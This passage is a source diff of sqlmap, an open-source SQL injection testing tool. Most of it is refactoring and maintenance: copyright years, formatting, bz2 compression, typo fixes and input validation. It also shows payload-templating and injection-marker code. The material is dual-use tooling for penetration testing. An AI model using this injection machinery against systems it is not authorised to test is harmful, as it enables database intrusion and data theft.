-                and (kb.injection.place is None or kb.injection.parameter is None):
+            if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
 
                 if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
                     # NOTE: this is not needed anymore, leaving only to display

lib/controller/handler.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -56,19 +56,19 @@ def setHandler():
     """
 
     items = [
-                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
-                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
-                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
-                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
-                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
-                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
-                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
-                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
-                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
-                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
-                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
-                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
-            ]
+        (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
+        (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
+        (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
+        (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
+        (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
+        (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
+        (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
+        (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
+        (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
+        (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
+        (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+        (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
+    ]
 
     _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
     if _:

lib/core/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/core/agent.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -97,6 +97,7 @@ class Agent(object):
         paramString = conf.parameters[place]
         paramDict = conf.paramDict[place]
         origValue = getUnicode(paramDict[parameter])
+        newValue = getUnicode(newValue) if newValue else newValue
 
         if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
             paramString = origValue
@@ -120,8 +121,8 @@ class Agent(object):
                 origValue = _.split('=', 1)[1] if '=' in _ else ""
         elif place == PLACE.CUSTOM_HEADER:
             paramString = origValue
-            origValue = origValue.split(kb.customInjectionMark)[0]
             origValue = origValue[origValue.find(',') + 1:]
+            origValue = origValue.split(kb.customInjectionMark)[0]
             match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
             if match:
                 origValue = match.group("value")
@@ -293,17 +294,21 @@ class Agent(object):
         if payload is None:
             return
 
-        _ = (
-                ("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
-                ("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
-                ("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
-            )
-        payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
+        replacements = (
+            ("[DELIMITER_START]", kb.chars.start),
+            ("[DELIMITER_STOP]", kb.chars.stop),
+            ("[AT_REPLACE]", kb.chars.at),
+            ("[SPACE_REPLACE]", kb.chars.space),
+            ("[DOLLAR_REPLACE]", kb.chars.dollar),
+            ("[HASH_REPLACE]", kb.chars.hash_),
+            ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
+        )
+        payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
 
-        for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
             payload = payload.replace(_, str(randomInt()))
 
-        for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
+        for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
             payload = payload.replace(_, randomStr())
 
         if origValue is not None and "[ORIGVALUE]" in payload:
@@ -361,7 +366,7 @@ class Agent(object):
         rootQuery = queries[Backend.getIdentifiedDbms()]
         hexField = field
 
-        if 'hex' in rootQuery:
+        if "hex" in rootQuery:
             hexField = rootQuery.hex.query % field
         else:
             warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
@@ -927,7 +932,7 @@ class Agent(object):
             limitedQuery += " %s" % limitStr
 
         elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
-            if not " ORDER BY " in limitedQuery:
+            if " ORDER BY " not in limitedQuery:
                 limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
             elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
                 limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]

lib/core/bigarray.py

@@ -1,20 +1,20 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
 try:
-   import cPickle as pickle
+    import cPickle as pickle
 except:
-   import pickle
+    import pickle
 
+import bz2
 import itertools
 import os
 import sys
 import tempfile
-import zlib
 
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapSystemException
@@ -52,7 +52,7 @@ class BigArray(list):
     List-like class used for storing large amounts of data (disk cached)
     """
 
-    def __init__(self):
+    def __init__(self, items=[]):
         self.chunks = [[]]
         self.chunk_length = sys.maxint
         self.cache = None
@@ -60,6 +60,9 @@ class BigArray(list):
         self._os_remove = os.remove
         self._size_counter = 0
 
+        for item in items:
+            self.append(item)
+
     def append(self, value):
         self.chunks[-1].append(value)
 
@@ -83,11 +86,11 @@ class BigArray(list):
             self.chunks.pop()
             try:
                 with open(self.chunks[-1], "rb") as f:
-                    self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+                    self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
             except IOError, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)
 
         return self.chunks[-1].pop()
 
@@ -104,7 +107,7 @@ class BigArray(list):
             self.filenames.add(filename)
             os.close(handle)
             with open(filename, "w+b") as f:
-                f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
+                f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
             return filename
         except (OSError, IOError), ex:
             errMsg = "exception occurred while storing data "
@@ -112,7 +115,7 @@ class BigArray(list):
             errMsg += "make sure that there is enough disk space left. If problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
             errMsg += "writeable by the current user"
-            raise SqlmapSystemException, errMsg
+            raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
         if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -122,11 +125,11 @@ class BigArray(list):
         if not (self.cache and self.cache.index == index):
             try:
                 with open(self.chunks[index], "rb") as f:
-                    self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
+                    self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
             except IOError, ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex.message
-                raise SqlmapSystemException, errMsg
+                raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
         return self.chunks, self.filenames
@@ -136,15 +139,10 @@ class BigArray(list):
         self.chunks, self.filenames = state
 
     def __getslice__(self, i, j):
-        retval = BigArray()
-
         i = max(0, len(self) + i if i < 0 else i)
         j = min(len(self), len(self) + j if j < 0 else j)
 
-        for _ in xrange(i, j):
-            retval.append(self[_])
-
-        return retval
+        return BigArray(self[_] for _ in xrange(i, j))
 
     def __getitem__(self, y):
         if y < 0:

lib/core/common.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
@@ -9,6 +9,7 @@ import codecs
 import contextlib
 import cookielib
 import copy
+import distutils
 import getpass
 import hashlib
 import httplib
@@ -18,6 +19,7 @@ import locale
 import logging
 import ntpath
 import os
+import platform
 import posixpath
 import random
 import re
@@ -73,6 +75,7 @@ from lib.core.enums import EXPECTED
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import LOGGING_LEVELS
 from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import OPTION_TYPE
 from lib.core.enums import OS
@@ -593,9 +596,7 @@ def paramToDict(place, parameters=None):
                 testableParameters[parameter] = "=".join(parts[1:])
                 if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
                     _ = urldecode(testableParameters[parameter], convall=True)
-                    if (_.endswith("'") and _.count("'") == 1
-                      or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
-                      and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
+                    if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
                         warnMsg = "it appears that you have provided tainted parameter values "
                         warnMsg += "('%s') with most likely leftover " % element
                         warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -635,7 +636,7 @@ def paramToDict(place, parameters=None):
                                             elif isinstance(value, (bool, int, float, basestring)):
                                                 original = current[key]
                                                 if isinstance(value, bool):
-                                                    current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER)
+                                                    current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
                                                 else:
                                                     current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
                                                 candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
@@ -648,7 +649,7 @@ def paramToDict(place, parameters=None):
                                     message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
                                     message += "is JSON deserializable. Do you want to inject inside? [y/N] "
 
-                                    if not readInput(message, default='N', boolean=True):
+                                    if readInput(message, default='N', boolean=True):
                                         del testableParameters[parameter]
                                         testableParameters.update(candidates)
                                     break
@@ -867,7 +868,10 @@ def boldifyMessage(message):
 
 def setColor(message, bold=False):
     retVal = message
-    level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel")
+    level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
+
+    if isinstance(level, unicode):
+        level = unicodeencode(level)
 
     if message and getattr(LOGGER_HANDLER, "is_tty", False):  # colorizing handler
         if bold:
@@ -883,6 +887,21 @@ def setColor(message, bold=False):
 
     return retVal
 
+def clearColors(message):
+    """
+    Clears ANSI color codes
+
+    >>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
+    'Hello World'
+    """
+
+    retVal = message
+
+    if message:
+        retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
+
+    return retVal
+
 def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
     """
     Writes text to the stdout (console) stream
@@ -891,7 +910,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
     message = ""
 
     if not kb.get("threadException"):
-        if forceOutput or not getCurrentThreadData().disableStdOut:
+        if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
             if kb.get("multiThreadMode"):
                 logging._acquireLock()
 
@@ -996,8 +1015,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             elif answer is None and retVal:
                 retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
 
+    if message and getattr(LOGGER_HANDLER, "is_tty", False):
+        message = "\r%s" % message
+
     if retVal:
-        dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
+        dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
 
         debugMsg = "used the given answer"
         logger.debug(debugMsg)
@@ -1011,9 +1033,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
             else:
                 options = unicode()
 
-            dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
+            dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
 
-            debugMsg = "used the default behaviour, running in batch mode"
+            debugMsg = "used the default behavior, running in batch mode"
             logger.debug(debugMsg)
 
             retVal = default
@@ -1024,7 +1046,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                 if conf.get("beep"):
                     beep()
 
-                dataToStdout("\r%s" % message, forceOutput=True, bold=True)
+                dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
                 kb.prependFlag = False
 
                 retVal = raw_input().strip() or default
@@ -1047,7 +1069,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
     if boolean:
         retVal = retVal.strip().upper() == 'Y'
 
-    return retVal
+    return retVal or ""
 
 def randomRange(start=0, stop=1000, seed=None):
     """
@@ -1172,7 +1194,7 @@ def banner():
         _ = BANNER
 
         if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
-            _ = re.sub("\033.+?m", "", _)
+            _ = clearColors(_)
         elif IS_WIN:
             coloramainit()
 
@@ -1350,7 +1372,7 @@ def parseTargetDirect():
                     raise SqlmapSyntaxException(errMsg)
 
                 if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
-                    import _mssql
+                    __import__("_mssql")
                     import pymssql
 
                     if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
@@ -1360,17 +1382,17 @@ def parseTargetDirect():
                         raise SqlmapMissingDependence(errMsg)
 
                 elif dbmsName == DBMS.MYSQL:
-                    import pymysql
+                    __import__("pymysql")
                 elif dbmsName == DBMS.PGSQL:
-                    import psycopg2
+                    __import__("psycopg2")
                 elif dbmsName == DBMS.ORACLE:
-                    import cx_Oracle
+                    __import__("cx_Oracle")
                 elif dbmsName == DBMS.SQLITE:
-                    import sqlite3
+                    __import__("sqlite3")
                 elif dbmsName == DBMS.ACCESS:
-                    import pyodbc
+                    __import__("pyodbc")
                 elif dbmsName == DBMS.FIREBIRD:
-                    import kinterbasdb
+                    __import__("kinterbasdb")
             except:
                 if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
                     pass
@@ -1398,10 +1420,10 @@ def parseTargetUrl():
         raise SqlmapGenericException(errMsg)
 
     if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
-        if ":443/" in conf.url:
-            conf.url = "https://" + conf.url
+        if re.search(r":443\b", conf.url):
+            conf.url = "https://%s" % conf.url
         else:
-            conf.url = "http://" + conf.url
+            conf.url = "http://%s" % conf.url
 
     if kb.customInjectionMark in conf.url:
         conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1424,13 +1446,14 @@ def parseTargetUrl():
     conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
 
     try:
-        _ = conf.hostname.encode("idna")
-    except LookupError:
-        _ = conf.hostname.encode(UNICODE_ENCODING)
-    except UnicodeError:
-        _ = None
+        conf.hostname.encode("idna")
+        conf.hostname.encode(UNICODE_ENCODING)
+    except (LookupError, UnicodeError):
+        invalid = True
+    else:
+        invalid = False
 
-    if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
+    if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
         errMsg = "invalid target URL ('%s')" % originalUrl
         raise SqlmapSyntaxException(errMsg)
 
@@ -1473,6 +1496,23 @@ def parseTargetUrl():
     if conf.url != originalUrl:
         kb.originalUrls[conf.url] = originalUrl
 
+def escapeJsonValue(value):
+    """
+    Escapes JSON value (used in payloads)
+
+    # Reference: https://stackoverflow.com/a/16652683
+    """
+
+    retVal = ""
+
+    for char in value:
+        if char < ' ' or char == '"':
+            retVal += json.dumps(char)[1:-1]
+        else:
+            retVal += char
+
+    return retVal
+
 def expandAsteriskForColumns(expression):
     """
     If the user provided an asterisk rather than the column(s)
@@ -1676,32 +1716,32 @@ def getCharset(charsetType=None):
 
     # Binary
     elif charsetType == CHARSET_TYPE.BINARY:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
         asciiTbl.extend(xrange(47, 50))
 
     # Digits
     elif charsetType == CHARSET_TYPE.DIGITS:
-        asciiTbl.extend([0, 9])
+        asciiTbl.extend((0, 9))
         asciiTbl.extend(xrange(47, 58))
 
     # Hexadecimal
     elif charsetType == CHARSET_TYPE.HEXADECIMAL:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
         asciiTbl.extend(xrange(47, 58))
         asciiTbl.extend(xrange(64, 71))
-        asciiTbl.extend([87, 88])  # X
+        asciiTbl.extend((87, 88))  # X
         asciiTbl.extend(xrange(96, 103))
-        asciiTbl.extend([119, 120])  # x
+        asciiTbl.extend((119, 120))  # x
 
     # Characters
     elif charsetType == CHARSET_TYPE.ALPHA:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
         asciiTbl.extend(xrange(64, 91))
         asciiTbl.extend(xrange(96, 123))
 
     # Characters and digits
     elif charsetType == CHARSET_TYPE.ALPHANUM:
-        asciiTbl.extend([0, 1])
+        asciiTbl.extend((0, 1))
         asciiTbl.extend(xrange(47, 58))
         asciiTbl.extend(xrange(64, 91))
         asciiTbl.extend(xrange(96, 123))
@@ -1892,7 +1932,7 @@ def isWindowsDriveLetterPath(filepath):
 
 def posixToNtSlashes(filepath):
     """
-    Replaces all occurances of Posix slashes (/) in provided
+    Replaces all occurrences of Posix slashes (/) in provided
     filepath with NT ones (\)
 
     >>> posixToNtSlashes('C:/Windows')
@@ -1903,7 +1943,7 @@ def posixToNtSlashes(filepath):
 
 def ntToPosixSlashes(filepath):
     """
-    Replaces all occurances of NT slashes (\) in provided
+    Replaces all occurrences of NT slashes (\) in provided
     filepath with Posix ones (/)
 
     >>> ntToPosixSlashes('C:\\Windows')
@@ -1984,7 +2024,7 @@ def parseXmlFile(xmlFile, handler):
         errMsg = "something appears to be wrong with "
         errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
         errMsg += "sure that you haven't made any changes to it"
-        raise SqlmapInstallationException, errMsg
+        raise SqlmapInstallationException(errMsg)
 
 def getSQLSnippet(dbms, sfile, **variables):
     """
@@ -2515,7 +2555,7 @@ def findMultipartPostBoundary(post):
 
     return retVal
 
-def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True):
+def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
     """
     URL decodes given value
 
@@ -2533,14 +2573,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
             pass
         finally:
             if convall:
-                result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value)
+                result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
             else:
                 def _(match):
                     charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
                     char = chr(ord(match.group(1).decode("hex")))
                     return char if char in charset else match.group(0)
                 result = value
-                if plusspace:
+                if spaceplus:
                     result = result.replace('+', ' ')  # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
                 result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
 
@@ -2642,7 +2682,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
             dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
             dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
 
-def getPageTemplate(payload, place):  # Cross-linked function
+def getPageTemplate(payload, place):  # Cross-referenced function
     raise NotImplementedError
 
 @cachedmethod
@@ -2898,7 +2938,7 @@ def isDBMSVersionAtLeast(version):
 
         value = filterStringValue(value, '[0-9.><=]')
 
-        if isinstance(value, basestring):
+        if value and isinstance(value, basestring):
             if value.startswith(">="):
                 value = float(value.replace(">=", ""))
             elif value.startswith(">"):
@@ -2908,7 +2948,7 @@ def isDBMSVersionAtLeast(version):
             elif value.startswith(">"):
                 value = float(value.replace("<", "")) - 0.01
 
-        retVal = getUnicode(value) >= getUnicode(version)
+            retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))
 
     return retVal
 
@@ -2975,7 +3015,7 @@ def setOptimize():
     Sets options turned on by switch '-o'
     """
 
-    #conf.predictOutput = True
+    # conf.predictOutput = True
     conf.keepAlive = True
     conf.threads = 3 if conf.threads < 3 else conf.threads
     conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
@@ -3179,9 +3219,7 @@ def showHttpErrorCodes():
 
     if kb.httpErrorCodes:
         warnMsg = "HTTP error codes detected during run:\n"
-        warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \
-          if code in httplib.responses else '?', count) \
-          for code, count in kb.httpErrorCodes.items())
+        warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
         logger.warn(warnMsg)
         if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
             msg = "too many 4xx and/or 5xx HTTP error codes "
@@ -3197,8 +3235,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
         return codecs.open(filename, mode, encoding, errors, buffering)
     except IOError:
         errMsg = "there has been a file opening error for filename '%s'. " % filename
-        errMsg += "Please check %s permissions on a file " % ("write" if \
-          mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
+        errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
         errMsg += "and that it's not locked by another process."
         raise SqlmapSystemException(errMsg)
 
@@ -3263,14 +3300,17 @@ def checkIntegrity():
     logger.debug("running code integrity check")
 
     retVal = True
-    for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
-        path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
-        if not os.path.isfile(path):
-            logger.error("missing file detected '%s'" % path)
-            retVal = False
-        elif md5File(path) != checksum:
-            logger.error("wrong checksum of file '%s' detected" % path)
-            retVal = False
+
+    if os.path.isfile(paths.CHECKSUM_MD5):
+        for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
+            path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
+            if not os.path.isfile(path):
+                logger.error("missing file detected '%s'" % path)
+                retVal = False
+            elif md5File(path) != checksum:
+                logger.error("wrong checksum of file '%s' detected" % path)
+                retVal = False
+
     return retVal
 
 def unhandledExceptionMessage():
@@ -3286,9 +3326,9 @@ def unhandledExceptionMessage():
     errMsg += "reproduce the bug. The "
     errMsg += "developers will try to reproduce the bug, fix it accordingly "
     errMsg += "and get back to you\n"
-    errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
+    errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
     errMsg += "Python version: %s\n" % PYVERSION
-    errMsg += "Operating system: %s\n" % PLATFORM
+    errMsg += "Operating system: %s\n" % platform.platform()
     errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
     errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
     errMsg += "Back-end DBMS:"
@@ -3455,7 +3495,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
     retVal = content
 
     try:
-        if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
+        if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode:
             def _(value):
                 while 2 * REFLECTED_REPLACEMENT_REGEX in value:
                     value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX)
@@ -3561,7 +3601,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
         _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
 
         if _:
-            retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
+            retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
 
         if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
             retVal = unsafeSQLIdentificatorNaming(retVal)
@@ -3572,8 +3612,12 @@ def safeSQLIdentificatorNaming(name, isTable=False):
                 retVal = "\"%s\"" % retVal
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
-                retVal = "[%s]" % retVal
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
+                parts = retVal.split('.', 1)
+                for i in xrange(len(parts)):
+                    if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
+                        parts[i] = "[%s]" % parts[i]
+                retVal = '.'.join(parts)
 
         if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
             retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3763,7 +3807,7 @@ def filterPairValues(values):
 
 def randomizeParameterValue(value):
     """
-    Randomize a parameter value based on occurances of alphanumeric characters
+    Randomize a parameter value based on occurrences of alphanumeric characters
 
     >>> random.seed(0)
     >>> randomizeParameterValue('foobar')
@@ -3808,7 +3852,7 @@ def randomizeParameterValue(value):
 @cachedmethod
 def asciifyUrl(url, forceQuote=False):
     """
-    Attempts to make a unicode URL usuable with ``urllib/urllib2``.
+    Attempts to make a unicode URL usable with ``urllib/urllib2``.
 
     More specifically, it attempts to convert the unicode object ``url``,
     which is meant to represent a IRI, to an unicode object that,
@@ -3848,8 +3892,8 @@ def asciifyUrl(url, forceQuote=False):
         # Triggers on non-ascii characters - another option would be:
         #     urllib.quote(s.replace('%', '')) != s.replace('%', '')
         # which would trigger on all %-characters, e.g. "&".
-        if s.encode("ascii", "replace") != s or forceQuote:
-            return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
+        if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
+            return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
         return s
 
     username = quote(parts.username, '')
@@ -3873,13 +3917,15 @@ def asciifyUrl(url, forceQuote=False):
